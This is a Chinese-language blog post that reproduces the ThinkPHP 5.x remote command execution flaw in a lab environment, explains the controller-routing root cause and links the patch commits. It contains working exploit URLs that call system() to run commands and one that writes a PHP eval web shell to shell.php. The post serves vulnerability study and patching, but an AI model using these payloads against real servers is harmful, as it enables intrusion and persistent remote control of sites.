千家信息网

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,0x00复现环境ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)0x01步骤点击start to hack 进入环境页面 run the
千家信息网最后更新 2025年01月20日【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)
0x00复现环境

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)

0x01步骤
  1. 点击start to hack 进入环境页面 run the project 然后访问给出的target address
    执行系统命令显示目录下文件
    http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

  2. 执行phpinfo
    http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

  3. 写shell

    http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
    想你所想,发挥创意

0x02漏洞原理分析
关键代码


在修复之前程序未对控制器进行过滤,导致攻 击 者可以通过引入 \ 符号来调用任意类方法。

$this -> app -> controller 方法来实例化控制器,然后调用实例中的方法。
follow the controller method:thinkphp/library/think/App.php

通过parseModuleAndClass方法解析出$module和$class,实例化$class。

thinkphp / library / think /App.php


当$name以反斜线\开始时直接将其作为类名。
利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

thinkphp/library/think/route/Rule.php
往回看路由解析的代码,其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

route/dispatch/Url.php

route/Rule.php


使用/对$url进行分割,未进行任何过滤。

路由url从Request::path()中获取

其中,我们来看一下pathinfo函数

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递
但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:
index.php?s=index/\namespace\class/method
这将会实例化\namespace\class类并执行method方法

0x03 漏洞PoC

使用的是pocsuite框架

0x04 漏洞修复

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

0x05 漏洞利用(目前出现的***手段)

威胁预警 | ThinkPHP v5新漏洞***案例首曝光

0x06 reference

http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/

【2019-1-24更新】发现大佬们的动态调试 下一个复现可以试一试

0